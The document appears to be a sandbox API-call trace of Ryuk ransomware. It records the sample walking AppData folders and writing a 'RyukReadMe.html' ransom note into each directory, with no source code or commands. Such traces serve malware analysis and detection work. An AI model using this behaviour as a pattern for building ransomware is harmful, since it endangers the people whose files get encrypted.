	[0249.986] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efcd0
	[0249.986] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.986] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 1
	[0249.986] SetLastError (dwErrCode=0x0) 
	[0249.986] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.986] GetLastError () returned 0x3
	[0249.986] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0249.987] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.987] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.987] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.987] SetLastError (dwErrCode=0x0) 
	[0249.987] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.987] GetLastError () returned 0x3
	[0249.987] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0249.987] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.987] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fe, dwReserved1=0x0, cFileName="YVORLGOR.PNT", cAlternateFileName="")) returned 0
	[0249.987] FindClose (in: hFindFile=0x3efcd0 | out: hFindFile=0x3efcd0) returned 1
	[0249.987] SetLastError (dwErrCode=0x0) 
	[0249.987] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\dqq19bcj.jax\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.987] GetLastError () returned 0x3
	[0249.988] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.988] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.988] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1f6, dwReserved1=0x0, cFileName="DQQ19BCJ.JAX", cAlternateFileName="")) returned 0
	[0249.988] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0249.988] SetLastError (dwErrCode=0x0) 
	[0249.988] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0249.988] GetLastError () returned 0xb7
	[0249.988] CloseHandle (hObject=0x524) returned 1
	[0249.989] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 0
	[0249.989] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0249.989] SetLastError (dwErrCode=0x0) 
	[0249.989] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0249.989] GetLastError () returned 0xb7
	[0249.989] CloseHandle (hObject=0x4cc) returned 1
	[0249.989] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1
	[0249.989] SetLastError (dwErrCode=0x0) 
	[0249.989] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0249.990] GetLastError () returned 0xb7
	[0249.990] CloseHandle (hObject=0x4cc) returned 1
	[0249.990] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0249.991] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0249.991] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0249.991] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0249.991] SetLastError (dwErrCode=0x0) 
	[0249.991] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\deployment\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4cc
	[0249.992] GetLastError () returned 0x0
	[0249.992] WriteFile (in: hFile=0x4cc, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18d3c8*=0x273, lpOverlapped=0x0) returned 1
	[0249.994] CloseHandle (hObject=0x4cc) returned 1
	[0249.994] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x66051ca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x66051ca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9791f220, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x1a918, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GDIPFONTCACHEV1.DAT", cAlternateFileName="GDIPFO~1.DAT")) returned 1
	[0249.994] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4cc
	[0250.158] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.159] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Google", cAlternateFileName="")) returned 1
	[0250.159] SetLastError (dwErrCode=0x0) 
	[0250.159] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604
	[0250.160] GetLastError () returned 0xb7
	[0250.160] CloseHandle (hObject=0x604) returned 1
	[0250.160] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0250.160] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.161] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Chrome", cAlternateFileName="")) returned 1
	[0250.161] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 1
	[0250.161] SetLastError (dwErrCode=0x0) 
	[0250.161] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0250.161] GetLastError () returned 0x0
	[0250.161] WriteFile (in: hFile=0x5ec, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0250.163] CloseHandle (hObject=0x5ec) returned 1
	[0250.164] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0250.164] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.164] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0250.165] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0250.165] SetLastError (dwErrCode=0x0) 
	[0250.165] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\CrashReports\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\crashreports\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.165] GetLastError () returned 0x3
	[0250.165] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0250.165] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.165] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6b0b7d20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6b0b7d20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="CrashReports", cAlternateFileName="CRASHR~1")) returned 0
	[0250.165] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0250.165] SetLastError (dwErrCode=0x0) 
	[0250.165] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\google\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604
	[0250.165] GetLastError () returned 0xb7
	[0250.166] CloseHandle (hObject=0x604) returned 1
	[0250.166] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29175f80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29175f80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29175f80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0250.166] SetLastError (dwErrCode=0x0) 
	[0250.166] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604
	[0250.166] GetLastError () returned 0xb7
	[0250.166] CloseHandle (hObject=0x604) returned 1
	[0250.166] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0250.167] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
